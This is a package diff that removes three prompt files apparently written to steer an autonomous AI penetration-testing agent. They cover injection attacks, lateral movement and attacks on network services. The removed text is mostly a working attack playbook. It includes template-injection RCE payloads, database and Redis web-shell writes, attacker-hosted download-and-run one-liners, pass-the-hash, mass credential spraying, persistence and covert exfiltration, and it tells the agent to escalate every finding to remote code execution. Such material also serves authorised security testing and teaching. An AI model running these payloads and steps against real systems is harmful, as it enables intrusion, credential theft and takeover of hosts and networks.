pentesting 0.73.14 → 0.90.2

package/dist/prompts/techniques/injection.md

@@ -1,217 +0,0 @@
-# Injection Attacks — Comprehensive Autonomous Guide
-
-> **§3 Minimal Specification**: This file is a **Bootstrap reference**, not a prescribed order.
-> Do NOT follow steps linearly. Use `get_owasp_knowledge`, `web_search`, and target observations
-> to decide what to test and in what order. Adapt dynamically — not to this list.
-
-> **Cross-ref**: web.md (web testing), evasion.md (bypass), payload-craft.md (mutation)
-
-##  Core Principle
-Every input is a potential injection point. There are 20+ injection TYPES,
-each with hundreds of variants. **You cannot memorize them all — SEARCH for each.**
-
-##  Injection Type Map (Know ALL Categories)
-
-```
-INJECTION TYPES — Complete Category Awareness:
-│
-├── 1. SQL Injection (SQLi)
-│   ├── In-band: UNION-based, Error-based
-│   ├── Blind: Boolean-based, Time-based
-│   ├── Out-of-band: DNS/HTTP exfiltration
-│   ├── Second-order: stored then triggered
-│   ├── Stacked queries: multiple statements
-│   └── DB-specific: MySQL, PostgreSQL, MSSQL, Oracle, SQLite (each has unique syntax)
-│
-├── 2. Command Injection (CMDi / OS Injection)
-│   ├── Direct: ; | & && || ` $()
-│   ├── Blind: timing-based (sleep/ping), out-of-band (DNS/HTTP callback)
-│   ├── Argument injection: --option=malicious
-│   └── Environment variable injection
-│
-├── 3. Server-Side Template Injection (SSTI)
-│   ├── Jinja2 (Python): {{7*7}}, {{config}}, {{''.__class__.__mro__[2].__subclasses__()}}
-│   ├── Twig (PHP): {{7*7}}, {{_self.env.registerUndefinedFilterCallback("exec")}}
-│   ├── Freemarker (Java): ${7*7}, <#assign ex="freemarker.template.utility.Execute"?new()>
-│   ├── ERB (Ruby): <%=7*7%>, <%=system('id')%>
-│   ├── Pug/Jade (Node): #{7*7}
-│   ├── Velocity (Java): #set($x=7*7)$x
-│   └── DETECTION: Send polyglot → {{7*7}}${7*7}<%=7*7%>${{7*7}} → see what evaluates
-│
-├── 4. Cross-Site Scripting (XSS)
-│   ├── Reflected, Stored, DOM-based, Blind
-│   ├── Context: HTML body, attribute, JavaScript, URL, CSS, SVG, MathML
-│   ├── Payloads: <script>, <img onerror>, <svg onload>, event handlers, javascript: URI
-│   └── Impact: session theft, keylogging, phishing, crypto mining, worm  
-│
-├── 5. XML External Entity (XXE)
-│   ├── Classic: <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
-│   ├── Blind: out-of-band via DTD + HTTP/DNS callback
-│   ├── Error-based: trigger error containing file content
-│   ├── Through: SOAP, SVG upload, DOCX/XLSX, RSS feeds, SAML
-│   └── Variants: XInclude, XSLT injection
-│
-├── 6. LDAP Injection
-│   ├── Authentication bypass: *)(&
-│   ├── Data extraction: )(cn=*)
-│   └── Blind: timing/error differences
-│
-├── 7. NoSQL Injection
-│   ├── MongoDB: {"$gt":""}, {"$ne":""}, {"$regex":".*"}
-│   ├── Authentication bypass: {"username":{"$ne":""},"password":{"$ne":""}}
-│   └── Operator injection: $where, $regex, $gt, $ne
-│
-├── 8. XPath Injection
-│   ├── Similar to SQLi but for XML: ' or '1'='1
-│   └── Blind: boolean/timing based
-│
-├── 9. CRLF Injection
-│   ├── Header injection: %0d%0a
-│   ├── Can lead to: HTTP response splitting, XSS, cache poisoning
-│   └── Log injection: inject fake log entries
-│
-├── 10. Header Injection
-│    ├── Host header: password reset poisoning, routing bypass
-│    ├── X-Forwarded-For: IP-based access control bypass
-│    ├── X-Original-URL / X-Rewrite-URL: path-based access control bypass
-│    └── Referer: SSRF via referer processing
-│
-├── 11. SSTI → RCE Chains (template-specific)
-│    └── web_search("{template_engine} SSTI to RCE payload")
-│
-├── 12. Expression Language Injection (EL Injection)
-│    ├── Java EE: ${7*7}, #{7*7}
-│    └── Spring: *{7*7}
-│
-├── 13. Code Injection
-│    ├── PHP: eval(), assert(), preg_replace with /e
-│    ├── Python: eval(), exec(), input() (Python 2)
-│    ├── Ruby: eval(), system()
-│    └── Node: eval(), Function()
-│
-├── 14. CSV Injection (Formula Injection)
-│    ├── =cmd|'/C calc'!A0  (Excel)
-│    └── Through exported CSV/XLSX files
-│
-├── 15. Email Header Injection
-│    ├── %0aCc: attacker@evil.com
-│    └── Add arbitrary recipients, modify headers
-│
-├── 16. HTTP Parameter Pollution (HPP)
-│    ├── ?param=good&param=evil (server picks which?)
-│    └── Bypass WAF by splitting payload across same-name params
-│
-├── 17. Prototype Pollution (JavaScript)
-│    ├── __proto__[isAdmin]=true
-│    ├── constructor.prototype.isAdmin=true
-│    └── Can lead to: RCE, auth bypass, DoS
-│
-├── 18. Insecure Deserialization
-│    ├── Java: ObjectInputStream → gadget chains (ysoserial)
-│    ├── PHP: unserialize() → POP chains (phpggc)
-│    ├── Python: pickle.loads() → __reduce__ → RCE
-│    ├── .NET: BinaryFormatter, JSON.NET TypeNameHandling
-│    ├── Ruby: Marshal.load()
-│    └── Node: node-serialize
-│
-├── 19. GraphQL Injection
-│    ├── Introspection: {__schema{types{name,fields{name}}}}
-│    ├── Batching for brute force bypass
-│    ├── Nested queries for DoS
-│    └── Mutation discovery → unauthorized operations
-│
-└── 20. WebSocket Injection
-     ├── Same injection types apply through WebSocket messages
-     └── Often LESS filtered than HTTP requests
-```
-
-## 🧠 Injection Discovery — Autonomous Decision Tree
-
-```
-FOR EVERY input point discovered:
-
-1. IDENTIFY context: Where does this input go?
-   ├── Database query → SQLi/NoSQLi
-   ├── System command → CMDi
-   ├── Template render → SSTI
-   ├── XML parser → XXE
-   ├── File path → LFI/RFI (see file-attacks.md)
-   ├── HTTP header → Header injection / CRLF
-   ├── LDAP query → LDAPi
-   ├── HTML output → XSS
-   ├── Deserialization → Insecure deserialization
-   └── Unknown → try ALL categories with detection probes
-
-2. DETECTION PROBES (send these to identify vulnerability type):
-   ├── ' " ; — → SQL errors?
-   ├── {{7*7}} ${7*7} → Template evaluation?
-   ├── ;id ;whoami |id → Command output?
-   ├── <script>alert(1)</script> → XSS rendering?
-   ├── <!--#exec cmd="id"--> → SSI?
-   ├── %0d%0aHeader:injected → CRLF?
-   └── ANY behavioral difference (error, timing, output) = signal
-
-3. CONFIRM → find the exact injection type and context
-4. EXPLOIT → web_search("{injection_type} exploitation payloads hacktricks")
-5. BLOCKED? → payload_mutate + evasion.md → try encoded variants  
-6. CHAIN → injection → RCE → shell → privesc (see shells.md, privesc.md)
-```
-
-##  Injection Search Patterns
-
-```
-For EVERY injection type discovered:
-
-web_search("{injection_type} exploit payloads hacktricks")
-web_search("{injection_type} {database/language} cheatsheet")
-web_search("{injection_type} bypass WAF filter")
-web_search("{injection_type} blind extraction techniques")
-web_search("{injection_type} to RCE")
-web_search("PayloadsAllTheThings {injection_type}")
-
-Automated tools (where applicable):
-├── SQLi: sqlmap -u URL --forms --batch --level=5 --risk=3
-├── XSS: dalfox url URL
-├── SSTI: tplmap -u URL
-├── CMDi: commix --url=URL
-├── XXE: xxeinjector
-└── General: nuclei -u URL -as
-```
-
-##  Injection → RCE Chains
-```
-Goal: Every injection should eventually lead to RCE if possible.
-
-SQLi → RCE:
-├── MySQL: INTO OUTFILE webshell, UDF, sys_exec
-├── PostgreSQL: COPY TO file, lo_export, pg_read_file
-├── MSSQL: xp_cmdshell, sp_OACreate
-├── Oracle: DBMS_SCHEDULER, Java stored procedures
-└── SQLite: load_extension()
-
-SSTI → RCE:
-├── Jinja2: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
-├── Twig: {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
-├── Each engine has different paths → SEARCH for specific engine
-└── web_search("{engine} SSTI RCE payload")
-
-XXE → impact:
-├── File read → credentials → further access
-├── SSRF → internal service access
-├── RCE (rare): expect:// wrapper (PHP), xslt:// extensions
-└── Blind → out-of-band data exfiltration
-
-XSS → impact:
-├── Session theft → admin access
-├── Blind XSS → admin panel compromise
-├── DOM manipulation → credential theft
-├── Worm → self-spreading XSS
-└── Keylogging → capture all input
-
-Deserialization → RCE:
-├── Java: ysoserial → choose correct gadget chain for target libraries
-├── PHP: phpggc → choose correct POP chain
-├── Python: pickle → __reduce__ method  
-├── .NET: ysoserial.net
-└── ALWAYS: web_search("{framework} deserialization gadget chain RCE")
-```

package/dist/prompts/techniques/lateral.md

@@ -1,128 +0,0 @@
-# Lateral Movement & Pivoting — Comprehensive Autonomous Guide
-
-> **Cross-ref**: shells.md (shell access), ad-attack.md (AD movement), privesc.md (escalation)
-
-##  Core Principle
-Initial access is one machine. Lateral movement = entire network.
-Every credential, hash, token, and key is a potential pivot point.
-
-##  Lateral Movement Techniques
-
-```
-LATERAL MOVEMENT MAP:
-│
-├── 1. Credential-Based Movement
-│   ├── SSH with credentials: ssh user@TARGET
-│   ├── SSH with key: ssh -i stolen_id_rsa user@TARGET
-│   ├── RDP: xfreerdp /v:TARGET /u:user /p:pass /cert:ignore
-│   ├── WinRM: evil-winrm -i TARGET -u user -p pass
-│   ├── PsExec: impacket-psexec user:pass@TARGET
-│   ├── WMI: impacket-wmiexec user:pass@TARGET
-│   ├── SMBExec: impacket-smbexec user:pass@TARGET
-│   ├── DCOM: impacket-dcomexec user:pass@TARGET
-│   ├── Pass-the-Hash: impacket-psexec -hashes :NTLM_HASH user@TARGET
-│   ├── Pass-the-Ticket: export KRB5CCNAME=ticket.ccache → impacket tools -k
-│   └── Credential spraying: try EVERY found credential on EVERY accessible service
-│
-├── 2. Network Pivoting (Access Hidden Networks)
-│   ├── SSH tunneling:
-│   │   ├── Local: ssh -L LOCAL_PORT:INTERNAL_HOST:INTERNAL_PORT user@PIVOT
-│   │   ├── Dynamic SOCKS: ssh -D 9050 user@PIVOT → proxychains
-│   │   ├── Remote: ssh -R ATTACKER_PORT:INTERNAL_HOST:PORT user@ATTACKER
-│   │   └── ProxyJump: ssh -J user@PIVOT user@INTERNAL
-│   │
-│   ├── Chisel (recommended for non-SSH):
-│   │   ├── Server (attacker): chisel server -p 8080 --reverse
-│   │   ├── Client (pivot): chisel client ATTACKER:8080 R:socks
-│   │   └── Then: proxychains nmap -Pn INTERNAL_SUBNET
-│   │
-│   ├── Ligolo-ng (easiest for complex pivoting):
-│   │   ├── Proxy (attacker): ligolo-proxy -selfcert -laddr 0.0.0.0:PORT
-│   │   ├── Agent (pivot): ligolo-agent -connect ATTACKER:PORT -ignore-cert
-│   │   └── Add routes to internal networks from attacker
-│   │
-│   ├── socat:
-│   │   ├── Port forwarding: socat TCP-LISTEN:LOCAL,fork TCP:INTERNAL:PORT
-│   │   └── Useful on systems without SSH
-│   │
-│   ├── sshuttle: sshuttle -r user@PIVOT INTERNAL_SUBNET/24
-│   │   └── Transparent proxy — no need for proxychains
-│   │
-│   ├── Metasploit: route add SUBNET MASK SESSION
-│   │   └── autoroute + socks_proxy modules
-│   │
-│   ├── Windows-specific:
-│   │   ├── netsh portproxy: netsh interface portproxy add v4tov4 listenport=P connectaddress=HOST connectport=P
-│   │   ├── plink.exe: plink -ssh -L LOCAL:INTERNAL:PORT user@PIVOT
-│   │   └── web_search("windows port forwarding pivoting techniques")
-│   │
-│   └── web_search("pivoting tunneling techniques {tool} hacktricks")
-│
-├── 3. File Transfer (Getting Tools Where They Need to Go)
-│   ├── Linux upload to target:
-│   │   ├── wget/curl: wget http://ATTACKER:PORT/file -O /tmp/file
-│   │   ├── Python HTTP server: python3 -m http.server PORT (on attacker)
-│   │   ├── scp: scp file user@TARGET:/tmp/
-│   │   ├── Netcat: nc -lvnp PORT > file (recv) | nc TARGET PORT < file (send)
-│   │   ├── Base64: base64 file → echo 'B64' | base64 -d > file
-│   │   └── /dev/tcp: cat < /dev/tcp/ATTACKER/PORT > file
-│   │
-│   ├── Windows upload to target:
-│   │   ├── certutil: certutil -urlcache -split -f http://ATTACKER/file file
-│   │   ├── PowerShell: IWR -Uri http://ATTACKER/file -OutFile file
-│   │   ├── bitsadmin: bitsadmin /transfer job /download /priority high URL file
-│   │   ├── SMB: copy \\ATTACKER\share\file . (start smbserver on attacker)
-│   │   └── In-memory: IEX(New-Object Net.WebClient).DownloadString('http://ATK/ps1')
-│   │
-│   └── web_search("file transfer techniques {OS} hacktricks")
-│
-├── 4. Internal Network Discovery
-│   ├── From compromised host:
-│   │   ├── ip a, ifconfig, ipconfig /all → network interfaces
-│   │   ├── ip route, route -n, route print → routing tables
-│   │   ├── arp -a → known hosts in local network
-│   │   ├── cat /etc/hosts, type C:\Windows\System32\drivers\etc\hosts
-│   │   ├── netstat -antp → active connections → more targets
-│   │   ├── Internal port scan: for i in $(seq 1 254); do ping -c1 -W1 10.0.0.$i; done
-│   │   └── proxychains nmap -sT -Pn -p- INTERNAL_SUBNET (through pivot)
-│   │
-│   └── EVERY new network found = FULL reconnaissance cycle (rerun everything)
-│
-├── 5. Credential Reuse Strategy
-│   ├── Every found credential → test on ALL reachable services:
-│   │   ├── SSH, RDP, WinRM, SMB, FTP, databases, web logins, VPN
-│   │   ├── crackmapexec smb SUBNET/24 -u user -p pass → mass test
-│   │   ├── Same password with different usernames
-│   │   ├── Same username with slight password variations
-│   │   └── Hash-based: Pass-the-Hash to all Windows targets
-│   │
-│   └── Credential chain: creds from host A → access host B → creds from B → access C
-│
-└── 6. Covert Channels
-    ├── DNS tunneling: iodine, dnscat2 → bypass network restrictions
-    ├── ICMP tunneling: icmpsh, ptunnel
-    ├── HTTP tunneling: through web proxies
-    ├── WebSocket tunneling: through WAF
-    └── web_search("covert channel exfiltration tunneling {protocol}")
-```
-
-##  Pivoting Workflow
-```
-Got access to new host?
-1. STABILIZE: upgrade shell, set up persistence (shells.md)
-2. ENUMERATE: network interfaces, routes, ARP, connections, hosts file
-3. LOOT: credentials, keys, tokens, hashes, config files
-4. PIVOT: set up tunnel/proxy to newly discovered networks
-5. SCAN: recon the new network through the pivot
-6. SPRAY: test found credentials on all new services
-7. REPEAT: for each new host compromised
-```
-
-##  Search Patterns
-```
-web_search("pivoting techniques {tool_name} hacktricks")
-web_search("file transfer {OS} one-liner techniques")  
-web_search("{protocol} tunneling tool pivot")
-web_search("proxychains {tool} through pivot")
-web_search("lateral movement {technique} detection evasion")
-```

package/dist/prompts/techniques/network-svc.md

@@ -1,229 +0,0 @@
-# Network Service Attacks — Comprehensive Autonomous Guide
-
-> **§3 Minimal Specification**: This file is a **Bootstrap reference**, not a prescribed order.
-> Do NOT follow steps linearly. Use `get_owasp_knowledge`, `web_search`, and target observations
-> to decide what to test and in what order. Adapt dynamically — not to this list.
-
-> **Cross-ref**: recon.md (discovery), exploit.md (exploitation), shells.md (getting shell)
-
-##  Core Principle
-Every open port is an attack surface. Every service has known and unknown vulnerabilities.
-**ALWAYS: service detection → version → IMMEDIATE web_search for exploits.**
-
-##  Service Attack Decision Engine
-
-```
-FOR EVERY OPEN PORT DISCOVERED:
-│
-├── 1. IDENTIFY: nmap -Pn -sV -sC -p PORT TARGET → exact version
-├── 2. SEARCH: web_search("{service} {version} exploit CVE hacktricks")
-├── 3. CHECK: searchsploit {service} {version}
-├── 4. READ: browse_url(hacktricks_result) → learn attack methodology
-├── 5. ATTACK: apply known techniques + search for bypasses
-├── 6. BLOCKED: evasion.md + payload_mutate → try encoded/alternative
-└── 7. CHAIN: combine with other findings (see strategy.md)
-```
-
-## 🌐 Web Services (80, 443, 8080, 8443)
-
-```
-Web Server Identified → FULL WEB PIPELINE:
-├── Technology: whatweb, wappalyzer, curl headers
-├── CMS detection → CMS-specific scanner:
-│   WordPress → wpscan --enumerate vp,vt,u --plugins-detection aggressive
-│   Drupal → droopescan scan drupal -u URL
-│   Joomla → joomscan -u URL
-│   web_search("{CMS} {version} exploit CVE")
-│
-├── Content discovery (MANDATORY):
-│   ├── ffuf -u URL/FUZZ -w /usr/share/wordlists/dirb/big.txt -fc 404
-│   ├── feroxbuster -u URL --smart --auto-tune
-│   ├── gobuster dir -u URL -w wordlist -x php,asp,aspx,jsp,html,js,txt,bak
-│   ├── Try backup extensions: .bak, .old, .orig, .save, .swp, ~, .tmp
-│   └── Add technology-specific extensions to wordlist
-│
-├── Sensitive file check:
-│   .env, .git/HEAD, .DS_Store, .htaccess, web.config,
-│   robots.txt, sitemap.xml, crossdomain.xml, clientaccesspolicy.xml,
-│   phpinfo.php, server-status, server-info, info.php, test.php
-│
-├── API discovery:
-│   /api, /api/v1, /swagger, /swagger-ui, /openapi.json,
-│   /graphql, /graphiql, /api-docs, /.well-known/
-│
-├── Virtual hosts: ffuf -H "Host: FUZZ.TARGET" -u http://IP -w subdomains.txt
-│
-└── Deep web testing → see injection.md, auth-access.md, file-attacks.md
-```
-
-## 🔐 Authentication Services
-
-```
-SSH (22):
-├── Version CVE: web_search("OpenSSH {version} CVE exploit")
-├── Username enumeration: web_search("openssh {version} user enumeration CVE")
-├── Brute force: hydra -l root -P wordlist ssh://TARGET
-├── Key-based: try found keys from other hosts
-├── Agent forwarding: if forwarded → hijack to access other hosts
-└── Misconfig: check for weak algorithms, passwordless login
-
-FTP (21):
-├── Anonymous: ftp TARGET → anonymous / (empty password)
-├── Version CVE: web_search("{ftpd} {version} exploit")
-├── Brute force: hydra -l admin -P wordlist ftp://TARGET
-├── Writable dirs: if serves web → upload web shell
-├── Bounce attack: use FTP to scan internal ports
-└── PASV mode: reveals internal IP addresses
-
-Telnet (23):
-├── Often unencrypted → capture credentials
-├── Default creds: web_search("{device} telnet default credentials")
-└── Version exploits: web_search("telnet {version} CVE")
-
-RDP (3389):
-├── BlueKeep: nmap -Pn --script rdp-vuln-ms12-020 -p 3389 TARGET
-├── Brute force: hydra -l admin -P wordlist rdp://TARGET
-├── NLA bypass: web_search("RDP NLA bypass technique")
-├── Credentials: try EVERY found credential
-└── Pass-the-Hash: xfreerdp /v:TARGET /u:admin /pth:NTLM -sec-nla
-
-VNC (5900-5910):
-├── No auth: vncviewer TARGET::5900
-├── Brute force: hydra -P wordlist -s 5900 TARGET vnc
-├── VNC authentication bypass: web_search("VNC auth bypass")
-└── Decrypt stored password: web_search("vnc password decrypt")
-
-WinRM (5985/5986):
-├── evil-winrm -i TARGET -u user -p pass
-├── Pass-the-Hash: evil-winrm -i TARGET -u user -H NTLM_HASH
-└── If valid creds → full PowerShell access
-```
-
-## 📂 File Sharing Services
-
-```
-SMB (139/445):
-├── Null session: smbclient -L //TARGET -N, smbmap -H TARGET -u '' -p ''
-├── Guest: smbmap -H TARGET -u 'guest' -p ''
-├── Enumerate shares: crackmapexec smb TARGET --shares -u '' -p ''
-├── Download everything: smbget -R smb://TARGET/share
-├── Writable share: upload payload (web shell if web-accessible, batch/exe if executed)
-├── Vulnerabilities:
-│   ├── EternalBlue (MS17-010): nmap -Pn --script smb-vuln-ms17-010
-│   ├── PrintNightmare: web_search("printnightmare exploit")
-│   ├── SMB relay: Responder + ntlmrelayx
-│   └── web_search("SMB {version} CVE exploit")
-├── Password spray: crackmapexec smb TARGET -u users.txt -p passwords.txt
-└── Enum: crackmapexec smb TARGET -u user -p pass --users --groups --loggedon-users
-
-NFS (2049):
-├── Show exports: showmount -e TARGET
-├── Mount: mount -t nfs TARGET:/share /mnt/nfs
-├── Check no_root_squash → create SUID binary on share → execute on target
-└── web_search("NFS exploitation no_root_squash")
-
-Rsync (873):
-├── List modules: rsync -av --list-only rsync://TARGET/
-├── Download: rsync -av rsync://TARGET/share/ ./loot/
-└── If writable: upload malicious crontab/authorized_keys
-```
-
-##  Database Services
-
-```
-MySQL (3306):
-├── mysql -h TARGET -u root (no password)
-├── mysql -h TARGET -u root -p'root' (common passwords)
-├── Brute force: hydra -l root -P wordlist mysql://TARGET
-├── UDF: web_search("mysql UDF privilege escalation")
-├── INTO OUTFILE: SELECT '<?php system($_GET["cmd"]);?>' INTO OUTFILE '/var/www/html/cmd.php'
-├── LOAD_FILE: SELECT LOAD_FILE('/etc/passwd')
-└── web_search("mysql {version} CVE exploit")
-
-PostgreSQL (5432):
-├── psql -h TARGET -U postgres (often trust/peer auth)
-├── COPY TO: COPY (SELECT 'shell') TO '/tmp/shell.sh'
-├── pg_read_file: SELECT pg_read_file('/etc/passwd')
-├── Large objects: read/write arbitrary files
-├── Extension: CREATE EXTENSION dblink → SSRF
-└── web_search("postgresql {version} RCE exploit")
-
-MSSQL (1433):
-├── impacket-mssqlclient DOMAIN/user:pass@TARGET
-├── xp_cmdshell: EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; EXEC xp_cmdshell 'whoami'
-├── UNC path: EXEC xp_dirtree '\\ATTACKER\share' → capture NTLMv2
-├── OLE automation: sp_OACreate for command execution
-├── CLR assembly: custom .NET DLL → load and execute
-└── web_search("MSSQL exploitation techniques {year}")
-
-Redis (6379):
-├── redis-cli -h TARGET (check no-auth)
-├── INFO → version, OS, memory
-├── Web shell: CONFIG SET dir /var/www/html; CONFIG SET dbfilename shell.php; SET x "<?php system($_GET['cmd']);?>"; SAVE
-├── SSH key: CONFIG SET dir /root/.ssh; CONFIG SET dbfilename authorized_keys; SET x "KEY_DATA"; SAVE
-├── Cron: CONFIG SET dir /var/spool/cron/crontabs; SET x "reverse_shell_cron"; SAVE
-├── Master-slave RCE: MODULE LOAD via replication
-└── web_search("redis {version} RCE exploit")
-
-MongoDB (27017):
-├── mongosh mongodb://TARGET:27017 (no auth)
-├── db.adminCommand({listDatabases:1})
-├── Dump all: for each db → show collections → db.collection.find()
-├── Authentication bypass: web_search("mongodb auth bypass")
-└── web_search("mongodb {version} CVE")
-
-Elasticsearch (9200):
-├── curl http://TARGET:9200/ → version info
-├── curl http://TARGET:9200/_cat/indices → list all indices
-├── curl http://TARGET:9200/_search?q=password → search for secrets
-├── RCE: web_search("elasticsearch {version} RCE CVE")
-└── Snapshot API → read filesystem
-```
-
-## 📧 Other Common Services
-
-```
-SMTP (25/587):
-├── User enum: VRFY/EXPN/RCPT TO
-├── Open relay: send from any address
-├── web_search("smtp user enumeration techniques")
-
-DNS (53):
-├── Zone transfer: dig axfr @TARGET domain.com
-├── Subdomain brute: fierce, dnsrecon, ffuf
-├── DNS cache snooping: information about internal infrastructure
-└── web_search("DNS exploitation techniques")
-
-SNMP (161/162):
-├── snmpwalk -v2c -c public TARGET
-├── Community brute: onesixtyone -c community.txt TARGET
-├── Writable OIDs → RCE: web_search("SNMP RCE write community")
-└── Version 3: credential brute force
-
-LDAP (389/636):
-├── Anonymous bind: ldapsearch -x -H ldap://TARGET -s base
-├── User/group enumeration
-├── LDAP injection: see injection.md
-└── Detailed methodology: web_search("LDAP pentesting hacktricks")
-
-Docker API (2375/2376):
-├── curl http://TARGET:2375/images/json (if unauthenticated)
-├── Full RCE: docker -H tcp://TARGET:2375 run -v /:/mnt alpine chroot /mnt
-└── Kubernetes: kubectl --server=https://TARGET:6443 get pods
-
-Kerberos (88):
-├── User enumeration: kerbrute userenum --dc DC -d DOMAIN users.txt
-├── AS-REP roasting: impacket-GetNPUsers (see ad-attack.md)
-├── Kerberoasting: impacket-GetUserSPNs (see ad-attack.md)
-└── web_search("kerberos attack techniques {year}")
-```
-
-##  Universal Service Search Pattern
-```
-web_search("{service_name} {version} exploit hacktricks")
-web_search("{service_name} pentesting cheatsheet")
-web_search("{service_name} {version} CVE PoC")
-web_search("{service_name} default credentials")
-web_search("{service_name} security misconfiguration")
-searchsploit {service_name} {version}
-```